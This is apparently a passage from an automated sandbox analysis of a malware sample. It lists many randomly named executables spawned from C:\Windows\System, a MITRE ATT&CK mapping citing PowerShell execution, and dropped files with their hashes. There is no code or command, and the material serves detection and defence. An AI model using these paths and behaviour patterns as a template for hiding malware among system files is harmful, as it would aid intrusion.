- C:\Windows\System\IjfqmPU.exe
  C:\Windows\System\IjfqmPU.exe
  2⤵
  PID:8276
- C:\Windows\System\vBXldbx.exe
  C:\Windows\System\vBXldbx.exe
  2⤵
  PID:8292
- C:\Windows\System\yseqZgh.exe
  C:\Windows\System\yseqZgh.exe
  2⤵
  PID:8308
- C:\Windows\System\SWdslwN.exe
  C:\Windows\System\SWdslwN.exe
  2⤵
  PID:8324
- C:\Windows\System\BZrSLNT.exe
  C:\Windows\System\BZrSLNT.exe
  2⤵
  PID:8340
- C:\Windows\System\DyeyCJv.exe
  C:\Windows\System\DyeyCJv.exe
  2⤵
  PID:8356
- C:\Windows\System\crDAWNc.exe
  C:\Windows\System\crDAWNc.exe
  2⤵
  PID:8372
- C:\Windows\System\YoiMYlB.exe
  C:\Windows\System\YoiMYlB.exe
  2⤵
  PID:8388
- C:\Windows\System\QNhJqkm.exe
  C:\Windows\System\QNhJqkm.exe
  2⤵
  PID:8404
- C:\Windows\System\WRmABac.exe
  C:\Windows\System\WRmABac.exe
  2⤵
  PID:8420
- C:\Windows\System\ViIjBoH.exe
  C:\Windows\System\ViIjBoH.exe
  2⤵
  PID:8436
- C:\Windows\System\aKrZxNn.exe
  C:\Windows\System\aKrZxNn.exe
  2⤵
  PID:8464
- C:\Windows\System\zWEnFsj.exe
  C:\Windows\System\zWEnFsj.exe
  2⤵
  PID:8480
- C:\Windows\System\kBudLAh.exe
  C:\Windows\System\kBudLAh.exe
  2⤵
  PID:8500
- C:\Windows\System\JEdmZii.exe
  C:\Windows\System\JEdmZii.exe
  2⤵
  PID:8516
- C:\Windows\System\kTHMEFr.exe
  C:\Windows\System\kTHMEFr.exe
  2⤵
  PID:8536
- C:\Windows\System\OWjXImf.exe
  C:\Windows\System\OWjXImf.exe
  2⤵
  PID:8732
- C:\Windows\System\yVzXMrw.exe
  C:\Windows\System\yVzXMrw.exe
  2⤵
  PID:8748
- C:\Windows\System\WJZSzdy.exe
  C:\Windows\System\WJZSzdy.exe
  2⤵
  PID:8764
- C:\Windows\System\ZaWWZGy.exe
  C:\Windows\System\ZaWWZGy.exe
  2⤵
  PID:8780
- C:\Windows\System\VEyzEtp.exe
  C:\Windows\System\VEyzEtp.exe
  2⤵
  PID:8800
- C:\Windows\System\qFuLFXw.exe
  C:\Windows\System\qFuLFXw.exe
  2⤵
  PID:8816
- C:\Windows\System\BSmeRGR.exe
  C:\Windows\System\BSmeRGR.exe
  2⤵
  PID:8832
- C:\Windows\System\fmHxazp.exe
  C:\Windows\System\fmHxazp.exe
  2⤵
  PID:8848
- C:\Windows\System\tjkFxYk.exe
  C:\Windows\System\tjkFxYk.exe
  2⤵
  PID:8864
- C:\Windows\System\YAXrdDJ.exe
  C:\Windows\System\YAXrdDJ.exe
  2⤵
  PID:8880
- C:\Windows\System\Hztgarl.exe
  C:\Windows\System\Hztgarl.exe
  2⤵
  PID:8896
- C:\Windows\System\CjdTuTX.exe
  C:\Windows\System\CjdTuTX.exe
  2⤵
  PID:8912
- C:\Windows\System\luuooCf.exe
  C:\Windows\System\luuooCf.exe
  2⤵
  PID:8928
- C:\Windows\System\XfECihq.exe
  C:\Windows\System\XfECihq.exe
  2⤵
  PID:8944
- C:\Windows\System\RQWBQNC.exe
  C:\Windows\System\RQWBQNC.exe
  2⤵
  PID:8960
- C:\Windows\System\UZTbzHz.exe
  C:\Windows\System\UZTbzHz.exe
  2⤵
  PID:8976
- C:\Windows\System\IoRpETK.exe
  C:\Windows\System\IoRpETK.exe
  2⤵
  PID:8992
- C:\Windows\System\zSkKMqH.exe
  C:\Windows\System\zSkKMqH.exe
  2⤵
  PID:9008
- C:\Windows\System\EgfymVa.exe
  C:\Windows\System\EgfymVa.exe
  2⤵
  PID:9028
- C:\Windows\System\upgzWda.exe
  C:\Windows\System\upgzWda.exe
  2⤵
  PID:9044
- C:\Windows\System\uRXyNcn.exe
  C:\Windows\System\uRXyNcn.exe
  2⤵
  PID:9060
- C:\Windows\System\YFdGscs.exe
  C:\Windows\System\YFdGscs.exe
  2⤵
  PID:9076
- C:\Windows\System\LYBSfEi.exe
  C:\Windows\System\LYBSfEi.exe
  2⤵
  PID:9120
- C:\Windows\System\EzEHCgU.exe
  C:\Windows\System\EzEHCgU.exe
  2⤵
  PID:9136
- C:\Windows\System\kJVewMa.exe
  C:\Windows\System\kJVewMa.exe
  2⤵
  PID:9152
- C:\Windows\System\iSMTgKB.exe
  C:\Windows\System\iSMTgKB.exe
  2⤵
  PID:8152
- C:\Windows\System\qEFnTSD.exe
  C:\Windows\System\qEFnTSD.exe
  2⤵
  PID:8220
- C:\Windows\System\PAooPtW.exe
  C:\Windows\System\PAooPtW.exe
  2⤵
  PID:8288
- C:\Windows\System\tOfZlFk.exe
  C:\Windows\System\tOfZlFk.exe
  2⤵
  PID:8352
- C:\Windows\System\UuWzzsv.exe
  C:\Windows\System\UuWzzsv.exe
  2⤵
  PID:8240
- C:\Windows\System\pOAZJHx.exe
  C:\Windows\System\pOAZJHx.exe
  2⤵
  PID:8400
- C:\Windows\System\XJuDfzC.exe
  C:\Windows\System\XJuDfzC.exe
  2⤵
  PID:8204
- C:\Windows\System\RcGTFdn.exe
  C:\Windows\System\RcGTFdn.exe
  2⤵
  PID:8336
- C:\Windows\System\pdkjWDs.exe
  C:\Windows\System\pdkjWDs.exe
  2⤵
  PID:8564
- C:\Windows\System\pMOsJTJ.exe
  C:\Windows\System\pMOsJTJ.exe
  2⤵
  PID:8588
- C:\Windows\System\hqCWCIh.exe
  C:\Windows\System\hqCWCIh.exe
  2⤵
  PID:8608
- C:\Windows\System\qqkfUAg.exe
  C:\Windows\System\qqkfUAg.exe
  2⤵
  PID:8624
- C:\Windows\System\FZeSFJT.exe
  C:\Windows\System\FZeSFJT.exe
  2⤵
  PID:8640
- C:\Windows\System\HiHDEVY.exe
  C:\Windows\System\HiHDEVY.exe
  2⤵
  PID:8664
- C:\Windows\System\qZneXUb.exe
  C:\Windows\System\qZneXUb.exe
  2⤵
  PID:8688
- C:\Windows\System\ZXdXrSf.exe
  C:\Windows\System\ZXdXrSf.exe
  2⤵
  PID:8708
- C:\Windows\System\XVFISqn.exe
  C:\Windows\System\XVFISqn.exe
  2⤵
  PID:8724
- C:\Windows\System\mwijlXv.exe
  C:\Windows\System\mwijlXv.exe
  2⤵
  PID:8776
- C:\Windows\System\GdNLrZD.exe
  C:\Windows\System\GdNLrZD.exe
  2⤵
  PID:8552
- C:\Windows\System\ZnpvRvW.exe
  C:\Windows\System\ZnpvRvW.exe
  2⤵
  PID:8756
- C:\Windows\System\PtbPEfT.exe
  C:\Windows\System\PtbPEfT.exe
  2⤵
  PID:8796
- C:\Windows\System\NoWWACU.exe
  C:\Windows\System\NoWWACU.exe
  2⤵
  PID:9000
- C:\Windows\System\CiVuAJP.exe
  C:\Windows\System\CiVuAJP.exe
  2⤵
  PID:9040
- C:\Windows\System\frScBed.exe
  C:\Windows\System\frScBed.exe
  2⤵
  PID:8920
- C:\Windows\System\hnkoTKk.exe
  C:\Windows\System\hnkoTKk.exe
  2⤵
  PID:8988
- C:\Windows\System\IclIcnD.exe
  C:\Windows\System\IclIcnD.exe
  2⤵
  PID:9020
- C:\Windows\System\XNegKuJ.exe
  C:\Windows\System\XNegKuJ.exe
  2⤵
  PID:9052
- C:\Windows\System\uKSgkUf.exe
  C:\Windows\System\uKSgkUf.exe
  2⤵
  PID:7712
- C:\Windows\System\UddIRQh.exe
  C:\Windows\System\UddIRQh.exe
  2⤵
  PID:9144
- C:\Windows\System\wKuyEjB.exe
  C:\Windows\System\wKuyEjB.exe
  2⤵
  PID:9164
- C:\Windows\System\bFnDOAn.exe
  C:\Windows\System\bFnDOAn.exe
  2⤵
  PID:9160
- C:\Windows\System\BBcIKUU.exe
  C:\Windows\System\BBcIKUU.exe
  2⤵
  PID:7592
- C:\Windows\System\zxBwSGr.exe
  C:\Windows\System\zxBwSGr.exe
  2⤵
  PID:8320
- C:\Windows\System\Zwqkinp.exe
  C:\Windows\System\Zwqkinp.exe
  2⤵
  PID:9200
- C:\Windows\System\fzpmWuw.exe
  C:\Windows\System\fzpmWuw.exe
  2⤵
  PID:7656
- C:\Windows\System\hSUBZUa.exe
  C:\Windows\System\hSUBZUa.exe
  2⤵
  PID:8272
- C:\Windows\System\zvvWLvH.exe
  C:\Windows\System\zvvWLvH.exe
  2⤵
  PID:8384
- C:\Windows\System\wclEofK.exe
  C:\Windows\System\wclEofK.exe
  2⤵
  PID:8452
- C:\Windows\System\xgnwtvq.exe
  C:\Windows\System\xgnwtvq.exe
  2⤵
  PID:8200
- C:\Windows\System\avSSXxC.exe
  C:\Windows\System\avSSXxC.exe
  2⤵
  PID:8396
- C:\Windows\System\zzizOGw.exe
  C:\Windows\System\zzizOGw.exe
  2⤵
  PID:9096
- C:\Windows\System\FJnQGYu.exe
  C:\Windows\System\FJnQGYu.exe
  2⤵
  PID:8532
- C:\Windows\System\IbkZsBN.exe
  C:\Windows\System\IbkZsBN.exe
  2⤵
  PID:8544
- C:\Windows\System\IaPYZuT.exe
  C:\Windows\System\IaPYZuT.exe
  2⤵
  PID:8572
- C:\Windows\System\RrSNBWB.exe
  C:\Windows\System\RrSNBWB.exe
  2⤵
  PID:8556
- C:\Windows\System\CYvwVfQ.exe
  C:\Windows\System\CYvwVfQ.exe
  2⤵
  PID:8604
- C:\Windows\System\SEKqvcb.exe
  C:\Windows\System\SEKqvcb.exe
  2⤵
  PID:8636
- C:\Windows\System\gwwouCh.exe
  C:\Windows\System\gwwouCh.exe
  2⤵
  PID:8812
- C:\Windows\System\ULgWoNj.exe
  C:\Windows\System\ULgWoNj.exe
  2⤵
  PID:8680
- C:\Windows\System\ITxQGMJ.exe
  C:\Windows\System\ITxQGMJ.exe
  2⤵
  PID:8876
- C:\Windows\System\LukIWDQ.exe
  C:\Windows\System\LukIWDQ.exe
  2⤵
  PID:8792
- C:\Windows\System\ottPsVs.exe
  C:\Windows\System\ottPsVs.exe
  2⤵
  PID:8956
- C:\Windows\System\nEeDqTG.exe
  C:\Windows\System\nEeDqTG.exe
  2⤵
  PID:8744
- C:\Windows\System\HCvWddC.exe
  C:\Windows\System\HCvWddC.exe
  2⤵
  PID:8828
- C:\Windows\System\GkDKmDA.exe
  C:\Windows\System\GkDKmDA.exe
  2⤵
  PID:8460
- C:\Windows\System\XSBjpsV.exe
  C:\Windows\System\XSBjpsV.exe
  2⤵
  PID:8952
- C:\Windows\System\PVYsqjC.exe
  C:\Windows\System\PVYsqjC.exe
  2⤵
  PID:8984
- C:\Windows\System\fsLLYVv.exe
  C:\Windows\System\fsLLYVv.exe
  2⤵
  PID:9108
- C:\Windows\System\NNNrHce.exe
  C:\Windows\System\NNNrHce.exe
  2⤵
  PID:9112
- C:\Windows\System\XbecKhQ.exe
  C:\Windows\System\XbecKhQ.exe
  2⤵
  PID:9204
- C:\Windows\System\QmwcDIj.exe
  C:\Windows\System\QmwcDIj.exe
  2⤵
  PID:9212
- C:\Windows\System\bLuvgzj.exe
  C:\Windows\System\bLuvgzj.exe
  2⤵
  PID:9184
- C:\Windows\System\dbrIDEi.exe
  C:\Windows\System\dbrIDEi.exe
  2⤵
  PID:8236
- C:\Windows\System\jxzokBZ.exe
  C:\Windows\System\jxzokBZ.exe
  2⤵
  PID:8456
- C:\Windows\System\owhEqdy.exe
  C:\Windows\System\owhEqdy.exe
  2⤵
  PID:8620
- C:\Windows\System\JrGgQgm.exe
  C:\Windows\System\JrGgQgm.exe
  2⤵
  PID:8684
- C:\Windows\System\yPraiuZ.exe
  C:\Windows\System\yPraiuZ.exe
  2⤵
  PID:8936
- C:\Windows\System\BVFVcti.exe
  C:\Windows\System\BVFVcti.exe
  2⤵
  PID:8444
- C:\Windows\System\UQSXlDs.exe
  C:\Windows\System\UQSXlDs.exe
  2⤵
  PID:8740
- C:\Windows\System\oEFLaTs.exe
  C:\Windows\System\oEFLaTs.exe
  2⤵
  PID:8696
- C:\Windows\System\oUjvMTX.exe
  C:\Windows\System\oUjvMTX.exe
  2⤵
  PID:9084
- C:\Windows\System\CqmzSLQ.exe
  C:\Windows\System\CqmzSLQ.exe
  2⤵
  PID:8844
- C:\Windows\System\ZDOavAc.exe
  C:\Windows\System\ZDOavAc.exe
  2⤵
  PID:9132
- C:\Windows\System\qDLEfOd.exe
  C:\Windows\System\qDLEfOd.exe
  2⤵
  PID:9072
- C:\Windows\System\DzAEMIU.exe
  C:\Windows\System\DzAEMIU.exe
  2⤵
  PID:7944
- C:\Windows\System\spmEZTz.exe
  C:\Windows\System\spmEZTz.exe
  2⤵
  PID:8496
- C:\Windows\System\cRSNWJS.exe
  C:\Windows\System\cRSNWJS.exe
  2⤵
  PID:9176
- C:\Windows\System\bxkhUoH.exe
  C:\Windows\System\bxkhUoH.exe
  2⤵
  PID:8332
- C:\Windows\System\jyIVald.exe
  C:\Windows\System\jyIVald.exe
  2⤵
  PID:8656
- C:\Windows\System\qMQAjFU.exe
  C:\Windows\System\qMQAjFU.exe
  2⤵
  PID:7400
- C:\Windows\System\TSPETXT.exe
  C:\Windows\System\TSPETXT.exe
  2⤵
  PID:8892
- C:\Windows\System\OVrPyiY.exe
  C:\Windows\System\OVrPyiY.exe
  2⤵
  PID:8492
- C:\Windows\System\YSqYowK.exe
  C:\Windows\System\YSqYowK.exe
  2⤵
  PID:8580
- C:\Windows\System\GJzrZPa.exe
  C:\Windows\System\GJzrZPa.exe
  2⤵
  PID:7896
- C:\Windows\System\xFjiLCz.exe
  C:\Windows\System\xFjiLCz.exe
  2⤵
  PID:9224
- C:\Windows\System\cNtIOpP.exe
  C:\Windows\System\cNtIOpP.exe
  2⤵
  PID:9240
- C:\Windows\System\MaVVlgl.exe
  C:\Windows\System\MaVVlgl.exe
  2⤵
  PID:9256
- C:\Windows\System\cozHguS.exe
  C:\Windows\System\cozHguS.exe
  2⤵
  PID:9272
- C:\Windows\System\vuDdNoP.exe
  C:\Windows\System\vuDdNoP.exe
  2⤵
  PID:9288
- C:\Windows\System\ZbXntzz.exe
  C:\Windows\System\ZbXntzz.exe
  2⤵
  PID:9304
- C:\Windows\System\lmmPneI.exe
  C:\Windows\System\lmmPneI.exe
  2⤵
  PID:9320
- C:\Windows\System\bFUOKnV.exe
  C:\Windows\System\bFUOKnV.exe
  2⤵
  PID:9336
- C:\Windows\System\EDUucGh.exe
  C:\Windows\System\EDUucGh.exe
  2⤵
  PID:9352
- C:\Windows\System\SlimgDj.exe
  C:\Windows\System\SlimgDj.exe
  2⤵
  PID:9368
- C:\Windows\System\ShEquUw.exe
  C:\Windows\System\ShEquUw.exe
  2⤵
  PID:9384
- C:\Windows\System\HGeyCnz.exe
  C:\Windows\System\HGeyCnz.exe
  2⤵
  PID:9400
- C:\Windows\System\RSXxmwF.exe
  C:\Windows\System\RSXxmwF.exe
  2⤵
  PID:9416
- C:\Windows\System\rdHEwvm.exe
  C:\Windows\System\rdHEwvm.exe
  2⤵
  PID:9432
- C:\Windows\System\CxBVjmV.exe
  C:\Windows\System\CxBVjmV.exe
  2⤵
  PID:9448
- C:\Windows\System\GdgnLlL.exe
  C:\Windows\System\GdgnLlL.exe
  2⤵
  PID:9464
- C:\Windows\System\NspsAYc.exe
  C:\Windows\System\NspsAYc.exe
  2⤵
  PID:9480
- C:\Windows\System\FEnLuKj.exe
  C:\Windows\System\FEnLuKj.exe
  2⤵
  PID:9496
- C:\Windows\System\uEkQOJw.exe
  C:\Windows\System\uEkQOJw.exe
  2⤵
  PID:9512
- C:\Windows\System\sUWCKPt.exe
  C:\Windows\System\sUWCKPt.exe
  2⤵
  PID:9528
- C:\Windows\System\yZkkyYw.exe
  C:\Windows\System\yZkkyYw.exe
  2⤵
  PID:9544
- C:\Windows\System\cSJajOV.exe
  C:\Windows\System\cSJajOV.exe
  2⤵
  PID:9560
- C:\Windows\System\EwJetTf.exe
  C:\Windows\System\EwJetTf.exe
  2⤵
  PID:9576
- C:\Windows\System\xntIKfy.exe
  C:\Windows\System\xntIKfy.exe
  2⤵
  PID:9592
- C:\Windows\System\IdWIvEd.exe
  C:\Windows\System\IdWIvEd.exe
  2⤵
  PID:9608
- C:\Windows\System\gjSMcvD.exe
  C:\Windows\System\gjSMcvD.exe
  2⤵
  PID:9624
- C:\Windows\System\wNtTJFY.exe
  C:\Windows\System\wNtTJFY.exe
  2⤵
  PID:9640
- C:\Windows\System\wuKTKLn.exe
  C:\Windows\System\wuKTKLn.exe
  2⤵
  PID:9656
- C:\Windows\System\hCTvSii.exe
  C:\Windows\System\hCTvSii.exe
  2⤵
  PID:9672
- C:\Windows\System\EdqgXur.exe
  C:\Windows\System\EdqgXur.exe
  2⤵
  PID:9688
- C:\Windows\System\VCuGFKB.exe
  C:\Windows\System\VCuGFKB.exe
  2⤵
  PID:9704
- C:\Windows\System\jaJwOFw.exe
  C:\Windows\System\jaJwOFw.exe
  2⤵
  PID:9720
- C:\Windows\System\HrzIryN.exe
  C:\Windows\System\HrzIryN.exe
  2⤵
  PID:9736
- C:\Windows\System\PEvFsPz.exe
  C:\Windows\System\PEvFsPz.exe
  2⤵
  PID:9752
- C:\Windows\System\gunYvXj.exe
  C:\Windows\System\gunYvXj.exe
  2⤵
  PID:9768
- C:\Windows\System\gZXDyAg.exe
  C:\Windows\System\gZXDyAg.exe
  2⤵
  PID:9784
- C:\Windows\System\skeQPSF.exe
  C:\Windows\System\skeQPSF.exe
  2⤵
  PID:9804
- C:\Windows\System\hmwvbRv.exe
  C:\Windows\System\hmwvbRv.exe
  2⤵
  PID:9820
- C:\Windows\System\OSggrFx.exe
  C:\Windows\System\OSggrFx.exe
  2⤵
  PID:9836
- C:\Windows\System\DngulCf.exe
  C:\Windows\System\DngulCf.exe
  2⤵
  PID:9852
- C:\Windows\System\UZvZIhw.exe
  C:\Windows\System\UZvZIhw.exe
  2⤵
  PID:9868
- C:\Windows\System\DPSCcRl.exe
  C:\Windows\System\DPSCcRl.exe
  2⤵
  PID:9884
- C:\Windows\System\FuWJBop.exe
  C:\Windows\System\FuWJBop.exe
  2⤵
  PID:9900
- C:\Windows\System\jWYFDyL.exe
  C:\Windows\System\jWYFDyL.exe
  2⤵
  PID:9916
- C:\Windows\System\eXIKUmG.exe
  C:\Windows\System\eXIKUmG.exe
  2⤵
  PID:9932
- C:\Windows\System\whQcTBE.exe
  C:\Windows\System\whQcTBE.exe
  2⤵
  PID:9948
- C:\Windows\System\FrkalhM.exe
  C:\Windows\System\FrkalhM.exe
  2⤵
  PID:9964
- C:\Windows\System\PbCNorW.exe
  C:\Windows\System\PbCNorW.exe
  2⤵
  PID:9980
- C:\Windows\System\gIhWUML.exe
  C:\Windows\System\gIhWUML.exe
  2⤵
  PID:9996
- C:\Windows\System\RzUfhKv.exe
  C:\Windows\System\RzUfhKv.exe
  2⤵
  PID:10012
- C:\Windows\System\MZwTSQi.exe
  C:\Windows\System\MZwTSQi.exe
  2⤵
  PID:10028
- C:\Windows\System\QyHAzIl.exe
  C:\Windows\System\QyHAzIl.exe
  2⤵
  PID:10048
- C:\Windows\System\yyvGnXc.exe
  C:\Windows\System\yyvGnXc.exe
  2⤵
  PID:10064
- C:\Windows\System\TkTcqBi.exe
  C:\Windows\System\TkTcqBi.exe
  2⤵
  PID:10080
- C:\Windows\System\uQPMZMv.exe
  C:\Windows\System\uQPMZMv.exe
  2⤵
  PID:10100
- C:\Windows\System\BPUlnqM.exe
  C:\Windows\System\BPUlnqM.exe
  2⤵
  PID:10116
- C:\Windows\System\XwCLgjP.exe
  C:\Windows\System\XwCLgjP.exe
  2⤵
  PID:10132
- C:\Windows\System\UcGoGZa.exe
  C:\Windows\System\UcGoGZa.exe
  2⤵
  PID:10148
- C:\Windows\System\eZpIOrl.exe
  C:\Windows\System\eZpIOrl.exe
  2⤵
  PID:10164
- C:\Windows\System\QSpyDfi.exe
  C:\Windows\System\QSpyDfi.exe
  2⤵
  PID:10180
- C:\Windows\System\JbHNKrQ.exe
  C:\Windows\System\JbHNKrQ.exe
  2⤵
  PID:10196
- C:\Windows\System\thvynKv.exe
  C:\Windows\System\thvynKv.exe
  2⤵
  PID:10212
- C:\Windows\System\PoMjQqx.exe
  C:\Windows\System\PoMjQqx.exe
  2⤵
  PID:10228
- C:\Windows\System\vWFjtzt.exe
  C:\Windows\System\vWFjtzt.exe
  2⤵
  PID:8368
- C:\Windows\System\yEfhHxx.exe
  C:\Windows\System\yEfhHxx.exe
  2⤵
  PID:9280
- C:\Windows\System\seajfXa.exe
  C:\Windows\System\seajfXa.exe
  2⤵
  PID:9344
- C:\Windows\System\aJBXGWZ.exe
  C:\Windows\System\aJBXGWZ.exe
  2⤵
  PID:9232
- C:\Windows\System\JiePqSH.exe
  C:\Windows\System\JiePqSH.exe
  2⤵
  PID:9264
- C:\Windows\System\DeAcadl.exe
  C:\Windows\System\DeAcadl.exe
  2⤵
  PID:9208
- C:\Windows\System\FhWljfR.exe
  C:\Windows\System\FhWljfR.exe
  2⤵
  PID:9332
- C:\Windows\System\IKlzrRs.exe
  C:\Windows\System\IKlzrRs.exe
  2⤵
  PID:9396
- C:\Windows\System\bSDDuSG.exe
  C:\Windows\System\bSDDuSG.exe
  2⤵
  PID:9472
- C:\Windows\System\cTbfqOw.exe
  C:\Windows\System\cTbfqOw.exe
  2⤵
  PID:9536
- C:\Windows\System\tqdrrjp.exe
  C:\Windows\System\tqdrrjp.exe
  2⤵
  PID:9572
- C:\Windows\System\DbFtOhK.exe
  C:\Windows\System\DbFtOhK.exe
  2⤵
  PID:9428
- C:\Windows\System\xvNhFlm.exe
  C:\Windows\System\xvNhFlm.exe
  2⤵
  PID:9604
- C:\Windows\System\oAjcxkQ.exe
  C:\Windows\System\oAjcxkQ.exe
  2⤵
  PID:9632
- C:\Windows\System\ysxEPzF.exe
  C:\Windows\System\ysxEPzF.exe
  2⤵
  PID:9696
- C:\Windows\System\XjnlrRy.exe
  C:\Windows\System\XjnlrRy.exe
  2⤵
  PID:9620
- C:\Windows\System\aiEpNuW.exe
  C:\Windows\System\aiEpNuW.exe
  2⤵
  PID:9684
- C:\Windows\System\SInhawe.exe
  C:\Windows\System\SInhawe.exe
  2⤵
  PID:9728
- C:\Windows\System\adjAXlQ.exe
  C:\Windows\System\adjAXlQ.exe
  2⤵
  PID:9764
- C:\Windows\System\qeJXxwQ.exe
  C:\Windows\System\qeJXxwQ.exe
  2⤵
  PID:9748
- C:\Windows\System\mptsIrc.exe
  C:\Windows\System\mptsIrc.exe
  2⤵
  PID:9832

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Windows\system\BeiSyfc.exe

Filesize
1.5MB

MD5
59caa75098c19804e127aa6b34afc314

SHA1
844b3a8912b63aa562d5241ae24fb219ef467af6

SHA256
752d12ca0d51caa8d261881f3891cc737503dca5673e6480dbde2bb6c76e1afe

SHA512
a84143f396d4449565446a90a2ea4187e70853b4282cbe7b958b172b064e13db0b5186bd4dfe80eea9c46cd2cc35de9fbdf61f6040d32a5b39401a020a8a6d49

Download Submit
C:\Windows\system\GUnIXCG.exe

Filesize
1.5MB

MD5
230725eebbe6b1665dca80b5edbd7b6c

SHA1
e928ba045a7479eb525eae343be97ab1c002e382

SHA256
10723d339760942da9ee87d4332ed4696724f6a4ab2471d644596cab0138042c

SHA512
8b263982fa16cc80e993f3c650e1921bc127f203ad995678c5c2b4205f43a6326e39fb3862bab3555474436051d8612dfb15a5ba0f4bfb145209846ba0431331

Download Submit
C:\Windows\system\IjCdeUo.exe

Filesize
1.5MB

MD5
25094eabc48313a03ab7e5bfc11d6f96

SHA1
1e32a3cb2bd2566af3cccf0aa92da4451e960a8b

SHA256
ff60f1200a0f83647db381f26bb3b8c69dfe185b82b54ed568e90c6a77e42741

SHA512
40db5a3b492589e73d132b94ee4f40dc956d016880d38f0dc550c936d248f5e5c0e8a62540a6ff79d4b3a72b912c5de681582915fdfb75c3b356599db7953793

Download Submit
C:\Windows\system\JxyQRUm.exe

Filesize
1.5MB

MD5
08a6419df3995f48567bf73322802a56

SHA1
19b9d2a44aa9ff880f0afd3d3de85d2976bf24c0

SHA256
93644bf871a72af9f417cfcbe53639293c005c34ac431be1b4789e5eb1e9d479

SHA512
89fb909143f28125cc39013d4eecd70c36c57b8183d263fa2d2a7fad7b2c04be93fdc8cf2b204db327daff94b43b5f52243e0629c24156fc0da189489e820b92

Download Submit
C:\Windows\system\LXUEMdu.exe

Filesize
1.5MB

MD5
5432c524a17337d6b26497cbe232b9cc

SHA1
bce8e6c6bea8ba8572ffef281e5718048651c904

SHA256
3f397e93223ce53ce6da19229c0d641a24798e0591d2e9b1e75782d46519345b

SHA512
717a9c600c62986f1ae7fe382300632d463775df8913de67ab3639f6081ef7c43c9770f6257c4da3af07bb9f232d71c11de1b1a42061b2aaccd9bc8863400621

Download Submit
C:\Windows\system\MHvtdVT.exe

Filesize
1.5MB

MD5
bdcc46b95961f8b4ec279532cfc00ebc

SHA1
2c070cfb2c1744c05aae462a3cd6dadffca7c936

SHA256
762aea8a831b944f00b6bac069fb00f21fc8713d7546ea3a624ef2f5605ee41a

SHA512
c5862d81a5b95af1872cbc56c253793a22d3222a8aeacac1f78e67c1d7dcb67eaf22aa4c664bdb24ab80fa89c02e34fc611520c40d8cb8b86910c9cffad439cd

Download Submit
C:\Windows\system\NeHMZam.exe

Filesize
1.5MB

MD5
493c4704204e0fdf768b8be17bf55812

SHA1
b6cba3430dedeef5ec9f485b78fee730290bbfab

SHA256
d17d27d5784d24257df6f9173917cd3299a32a8c4164a587026f5467e32c2503

SHA512
b051081296de0dc5bab08e4cfd6e156c51bdb04e861c79083db433cca45861d97c40f39f34ecd6f5bbce77fd9c2db93b93889ab3216ce3fe3f6e70d5281a8489

Download Submit
C:\Windows\system\PlYyzHu.exe

Filesize
1.5MB

MD5
916fcb65e23dd2dc600e364e550763e6

SHA1
6e6175a9558c3ccb445b1eb0900f154436ce9922

SHA256
f0c66726a264293652f295386db54f6f9917e80a5d2950b683c5196759b2a903

SHA512
169a27d4b3a85f9e062bab9bed6ebc05042c938be49e4f693eac453ba59f12cf6fd7953e6becd58ac8e6d04cd609a748575318a0f031dc3ba86792eaf56d95e9

Download Submit
C:\Windows\system\RBqzDCc.exe

Filesize
1.5MB

MD5
b4b1459ef2a4f94f019da3290186ecf0

SHA1
cc4bb10d46a35fae7c9d9fff00895daa6e22369f

SHA256
c33aaf123e1e9bd0fca78dacd85455623606ed832ac801134a53a220f36dab00

SHA512
16c349b0c61ba63dd2cd8ddd51449f133b7c9708770c9f2b08430736bd05eea50febf6b7b1bcb12dde82759a8e598b5656903dcbc970aaea2585138f386c20a4

Download Submit
C:\Windows\system\ThMBZOq.exe

Filesize
1.5MB

MD5
9d01b01a925155cc19813fb2943237b7

SHA1
efbc8fdfd5a91951f33588ea76098083dffc4e50

SHA256
1b2bc323d975bd3150fad1a28a30dd0407aaa270327d61402711743951f48a43

SHA512
be003d897ab76745e4f00cc15dc46375b8c79df68d96ee966e11dc0c5bb4dc65a7b44dbedece8a55405db98400d568cf0a40886a591e0342ac9628e946a9ecf9

Download Submit
C:\Windows\system\WWmqiBF.exe

Filesize
1.5MB

MD5
6b24369aa508d4f969e0836d021405a8

SHA1
35a6e309aa3937ea3d9609935a94740025881ded

SHA256
e611925057688174465d78da96e32af7d51df8d435f51fb0a4e90e55f02c10e8

SHA512
b76cf9b59c7fd7b6e8fd94d39344607f3bcdfe1f9c33ed9884dae649b76446c00e41ff79a8047531df2d63af97f9e4a5a3b487aceaf6cd8004f0096273974b80

Download Submit
C:\Windows\system\cafIbqX.exe

Filesize
1.5MB

MD5
ae05236ac44ea83ec4b8344209f59017

SHA1
7f6363894eb80f0e208b8d666968c411ecb7cc24

SHA256
c474271fc569debd090cca452951f505854d9753888d4b4d91a1b4dd088091d9

SHA512
3cf371c092ff1a326cee5fe7761cb4e6d722f3d7e77404864c3cca2ea309ee3ea540fe8595813ff6bedaaf22ac4ee92e65b6bd6495b7190efe6a5cb5bb7e3e74

Download Submit
C:\Windows\system\htzOprm.exe

Filesize
1.5MB

MD5
b4238efd0f217d0d32c4d78ffd2338ac

SHA1
85d48ce7e91785c5f775799a0cca764d07ae17b6

SHA256
4b0881722035c617a903154847316221a676e1ff9062f2ef23d0e8b77f41f051

SHA512
ec87b1ad88dcaf39cc7597021ebc9f962132be8e551c1d0230e141ebc8012332dd01dfae4065e39c690e77e5a12f7a99af1ac802c8840658a0e5a04b620137be

Download Submit
C:\Windows\system\irchdaV.exe

Filesize
1.5MB

MD5
1c206140a4de7ae004442059b0844aaa

SHA1
c5e2b61f9cb087c821d10cd399915a6e6732a2bf

SHA256
391cfd63d8d4848956b032ac0b5bb4c65b43f652d0549aba032b3bd5386bfb2e

SHA512
e05b1d475eea13a7c686b1bf7095c65ad40909201b11174d1c272ac21aed860b01bc80a88236a41c975530e564a8d827d84fa7865df04debca7b450c5f13976d

Download Submit
C:\Windows\system\kcSzOCq.exe

Filesize
1.5MB

MD5
e78fbb9a14fa22d5b12dd2654ce0dd10

SHA1
6538c599231db81718591b20866770589691ee3a

SHA256
59ed622366c25a7268ff9fed4c39bb49faea5fbd0b9c6a935ca2774dcd757eb1

SHA512
9b0807c847a7064f5d29ec52b24e64c88ca70942b686949bb02e85be9c8b3f80cb1f66406267f540710b7a7c6bf07b06e4a2c1d05a12657659073e2f2ee96fa3

Download Submit
C:\Windows\system\njpCfmN.exe

Filesize
1.5MB

MD5
